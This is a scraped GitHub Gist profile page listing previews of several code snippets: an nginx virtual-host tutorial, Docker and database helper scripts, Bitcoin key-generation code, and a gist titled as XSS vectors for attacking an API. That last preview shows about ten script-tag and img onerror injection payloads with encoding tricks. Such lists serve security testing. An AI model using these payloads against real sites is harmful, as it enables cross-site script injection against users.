Skip to content

Instantly share code, notes, and snippets.

Avatar
🚁
Bitcoin is happening

Void psypersky

🚁
Bitcoin is happening
  • Sea
View GitHub Profile
@psypersky
psypersky / nginxproxy.md
Created Mar 20, 2019 — forked from soheilhy/nginxproxy.md
How to proxy web apps using nginx?
View nginxproxy.md

Virtual Hosts on nginx (CSC309)

When hosting our web applications, we often have one public IP address (i.e., an IP address visible to the outside world) using which we want to host multiple web apps. For example, one may wants to host three different web apps respectively for example1.com, example2.com, and example1.com/images on the same machine using a single IP address.

How can we do that? Well, the good news is Internet browsers

@psypersky
psypersky / 666_lines_of_XSS_vectors.html
Created Sep 28, 2018 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
View 666_lines_of_XSS_vectors.html
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
View read.js
function isChatMessage(message) {
if (message.__x_isSentByMe) {
return false;
}
if (message.__x_isNotification) {
return false;
}
if (!message.__x_isUserCreatedType) {
return false;
}
@psypersky
psypersky / isdockerlive.sh
Created Mar 13, 2018 — forked from peterver/isdockerlive.sh
A shell script that uses curl to see if docker is up and running
View isdockerlive.sh
#!/bin/bash
rep=$(curl -s --unix-socket /var/run/docker.sock http://ping > /dev/null)
status=$?
if [ "$status" == "7" ]; then
echo 'not connected'
exit 1
fi
@psypersky
psypersky / isdockerlive.sh
Created Mar 13, 2018 — forked from peterver/isdockerlive.sh
A shell script that uses curl to see if docker is up and running
View isdockerlive.sh
#!/bin/bash
rep=$(curl -s --unix-socket /var/run/docker.sock http://ping > /dev/null)
status=$?
if [ "$status" == "7" ]; then
echo 'not connected'
exit 1
fi
@psypersky
psypersky / query.js
Last active Apr 5, 2017
squel.js (postgres) and pg-promise
View query.js
const squel = require('squel').useFlavour('postgres');
const baseQuery = squel.select()
.field('s.id')
.field('s.user_id')
.field('s.created')
.field('s.title')
.field('s.description')
.field('s.game_id')
.field('s.army_id')
View gist:26f24e6b4cf6b4a5b117
exports.createMoneypots = function(userId, pots, callback) {
//TODO: Implement Eric's Daemon :p
var tasks = pots.map(function(pot) {
return function(callback) {
var key = bitcoin.ECKey.makeRandom();
var privKey = key.toWIF();
var pubKey = key.pub.getAddress().toString();
You can’t perform that action at this time.